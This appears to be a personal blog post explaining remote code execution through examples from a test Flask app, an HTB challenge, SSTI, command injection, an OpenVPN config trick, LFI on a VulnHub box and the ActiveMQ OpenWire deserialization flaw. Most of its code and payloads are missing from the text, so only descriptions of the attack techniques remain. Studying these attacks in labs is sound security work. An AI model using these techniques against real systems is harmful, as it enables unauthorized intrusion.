Best Approach to RCE

RCE , Remote code execution is the worst nightmare , a developer could have in the field of cybersecurity. Before me explaining you the some of the most creative ways people got RCE , Lets see what RCE is:

What is RCE

Remote Code Execution (RCE) is a critical cybersecurity vulnerability that allows an attacker to execute arbitrary code on a target system or application remotely. This exploit occurs when an attacker gains unauthorized access to a system or network and can execute commands or code on a target machine. RCE can lead to severe consequences, such as data breaches, unauthorized access, and the compromise of sensitive information. There are various types of RCE attacks, including command injection, code injection, and deserialization vulnerabilities. Command injection involves manipulating commands in an input field to execute unintended commands on the system. Code injection exploits weaknesses in the application code, allowing the injection and execution of malicious code. Deserialization vulnerabilities target the process of converting serialized data into its original form, enabling attackers to execute arbitrary code during this process. Protecting against RCE requires secure coding practices, input validation, and regular security assessments to identify and mitigate potential vulnerabilities

I’m writing this because this is one of the main reasons why the RCE get’s it’s bad name: TRUSTING USER INPUT. I was told to test a simple flask website whose code was:

found something? If not here’s a hint: user input + exec function = Disaster

The POST request is accepting two parameters : ingredient and measurements. You really don’t need the whole code to know what it’s doing . It’s taking them and executing it via exec function :

and this recipe is made from the “ingredients” so when I pass the code:

there’s the code executed.

try again?

Implementation #2

we’ll be looking at a htb challenge called Lovetok. The challenge had the code:

We can see that the back-end gives time when we give a certian value to the format parameter:

We also have the code:

we can see that the input we give ‘r’ is directly going into the eval function:

So we need to inject code here somehow -> but how?

We can find many different scenarios like this

SSTI

We also get the notorious : SSTI

I wrote this code to tell you basic of it :

Look how the developer {me} trusted the user input to be name only and didn’t sanitized, look at the result:

This bad-boy can get into anywhere , user-agents , parameters , etc..

Simple case of checking the products may become a doom for dev {nice ring to it na? 😆}.

Look at the parameter we can see when we try os-command-injection.

But the real question is brother how do you know ? Well I didn’t , I always imagine and make scenarios how the functionality would have been implemented.

try again?:

Look at the functionality where we can make openvpn config file and run it in bg of the server

So how that might have been implemented? when we edit the openvpn config file by a bit of googling: we can change the openvpn file from here, so this article helped me a lot:

and we get the shell:

Tib3rius couldn’t explain it any better.

Here we’ll using pwnlab from vulnhub to demonstrate on how if LFI we get then we can not only smuggle the data from the files but the execution of the code also can take place.

We directly jump to the part where we have LFI but need to exploit. So what we need first is the exploit genarator from synacktiv. We look at the parameter:

and we start genarating the payload like:

we copy the payload and paste it into the url like this:

we get the execution:

Noticed by Kunlun Labs This vulnerability empowers a remote attacker, with network access to a broker, to execute arbitrary shell commands. The attack involves manipulating serialized class types in the OpenWire protocol, prompting the broker to instantiate any available class on the classpath. OR This vulnerability may allow a remote attacker with network access to either a Java-based OpenWire broker or client to run arbitrary shell commands by manipulating serialized class types in the OpenWire protocol to cause either the client or the broker (respectively) to instantiate any class on the classpath and the default port for openwire is 61616.

Vulnerability explained

Too much of a mouthful eh? Here’s a simplified version:

The exploit leverages the server’s handling of exceptions, serialization mechanisms, and classpath behaviors to execute unauthorized code and gain control over the target system. By crafting specific ExceptionResponse objects and manipulating the server's behavior through custom classes and XML payloads, an attacker can achieve Remote Code Execution.

The reseracher was able to access a classpath ClassPathXmlApplicationContext, which lead to wrong deserialization of the XML code and getting executed. The whole research can be found here

If you like what I write: I am actively looking for a job , hope you may help
My researches: Here

Twitter: Here

Linkedin: Here